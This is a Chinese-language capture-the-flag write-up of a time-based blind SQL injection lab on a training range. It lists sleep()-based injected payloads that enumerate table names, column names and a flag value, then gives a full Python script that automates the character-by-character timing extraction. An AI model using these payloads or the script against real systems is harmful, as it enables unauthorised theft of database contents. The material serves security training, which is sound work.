靶场地址:
https://www.mozhe.cn/bug/detail/ZEZ4REhOck9KMnVKMjFLTitQWFg5dz09bW96aGUmozhe
构造时间注入
http://219.153.49.228:43401/flag.php?type=1 and if(1=1,sleep(10),1)%23
服务器延迟了10秒才返回页面,证明有时间注入
暴表长
if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1,sleep(5),1)%23
暴表名
if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),23,1))=114,sleep(5),1)%23
暴列长
and if(length((select group_concat(column_name) from information_schema.columns where table_name="flag"))=7,sleep(5),1)%23
暴列名
and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),7,1))=103,sleep(5),1)%23
暴字段值的长
and if(length((select group_concat(flag) from flag ))=6,sleep(5),1)%23
当条件满足时,sql就会执行sleep(5)休眠5秒,根据页面返回的时间,我们可以判断条件是否为True,这样我们就能逐字猜解
但是一个个手工猜解是费时费力的方法,可以编写脚本或者使用sqlmap帮助我们,这里我自己写了一个python脚本
import urllib3
import requests
import datetime
http = urllib3.PoolManager()
requests.packages.urllib3.disable_warnings()
payloads = 'abcdecfghijklmnopqrstuvwxyz1234567890_@!,.;(){}~`'
'''
#数据库长度
length = 1
while True:
url = 'http://219.153.49.228:43401/flag.php?type=1 and if(length(database())='+str(length)+',sleep(5),1)%23'
start = datetime.datetime.now()
r = http.request('GET', url)
if r.status == 200:
end = datetime.datetime.now()
if (end-start).seconds >= 5:
print("数据库长度:", length)
break
else:
length += 1
#暴库名
num = 1
temp = []
database=''
while num <= length:
for payload in payloads:
url = "http://219.153.49.228:43401/flag.php?type=1 and if(substr(database(),%d,1)='%s',sleep(5),1)%%23" %(num, payload)
start = datetime.datetime.now()
r = http.request('GET', url)
if r.status == 200:
end = datetime.datetime.now()
if (end - start).seconds >= 5:
temp.append(payload)
num += 1
if num>length:
database = ''.join(temp)
print('数据库名:', database)
break
'''
#表长度
length = 1
while True:
url = 'http://219.153.49.228:43401/flag.php?type=1 and if(length((select group_concat(table_name) from information_schema.tables ' \
'where table_schema=database()))='+str(length)+',sleep(5),1)%23'
start = datetime.datetime.now()
r = http.request('GET', url)
if r.status == 200:
end = datetime.datetime.now()
if (end-start).seconds >= 5:
print("表长度:", length)
break
else:
length += 1
#暴表名
num = 1
temp = []
tablename=''
now_ascii = 33
while num <= length:
now_ascii = 33
flag = True
while flag:
url = "http://219.153.49.228:43401/flag.php?type=1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables " \
"where table_schema=database()),%d,1))=%d,sleep(5),1)%%23" %(num, now_ascii)
start = datetime.datetime.now()
r = http.request('GET', url)
if r.status == 200:
end = datetime.datetime.now()
if (end - start).seconds >= 5:
temp.append(chr(now_ascii))
num += 1
flag = False
if num>length:
tablename = ''.join(temp)
print('表名:', tablename)
now_ascii+=1
#列长度
length = 1
while True:
url = 'http://219.153.49.228:43401/flag.php?type=1 and if(length((select group_concat(column_name) from information_schema.columns ' \
'where table_name="flag"))='+str(length)+',sleep(5),1)%23'
start = datetime.datetime.now()
r = http.request('GET', url)
if r.status == 200:
end = datetime.datetime.now()
if (end-start).seconds >= 5:
print("列长度:", length)
break
else:
length += 1
#暴列名
num = 1
temp = []
columns_name=''
now_ascii = 33
while num <= length:
now_ascii = 33
flag = True
while flag:
url = "http://219.153.49.228:43401/flag.php?type=1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns " \
"where table_name='flag'),%d,1))=%d,sleep(5),1)%%23" %(num, now_ascii)
start = datetime.datetime.now()
r = http.request('GET', url)
if r.status == 200:
end = datetime.datetime.now()
if (end - start).seconds >= 5:
temp.append(chr(now_ascii))
num += 1
flag = False
if num>length:
columns_name = ''.join(temp)
print('列名:', columns_name)
now_ascii+=1
#字段长度
length = 1
while True:
url = 'http://219.153.49.228:43401/flag.php?type=1 and if(length((select group_concat(flag) from flag ' \
'))='+str(length)+',sleep(5),1)%23'
start = datetime.datetime.now()
r = http.request('GET', url)
if r.status == 200:
end = datetime.datetime.now()
if (end-start).seconds >= 5:
print("字段值长度:", length)
break
else:
length += 1
#暴字段值
num = 1
temp = []
columns_value=''
now_ascii = 33
while num <= length:
now_ascii = 33
flag = True
while flag:
url = "http://219.153.49.228:43401/flag.php?type=1 and if(ascii(substr((select group_concat(flag) from flag" \
"),%d,1))=%d,sleep(5),1)%%23" %(num, now_ascii)
start = datetime.datetime.now()
r = http.request('GET', url)
if r.status == 200:
end = datetime.datetime.now()
if (end - start).seconds >= 5:
temp.append(chr(now_ascii))
num += 1
flag = False
if num>length:
columns_value = ''.join(temp)
print('字段值:', columns_value)
now_ascii+=1
这个是跑出来的结果
网友评论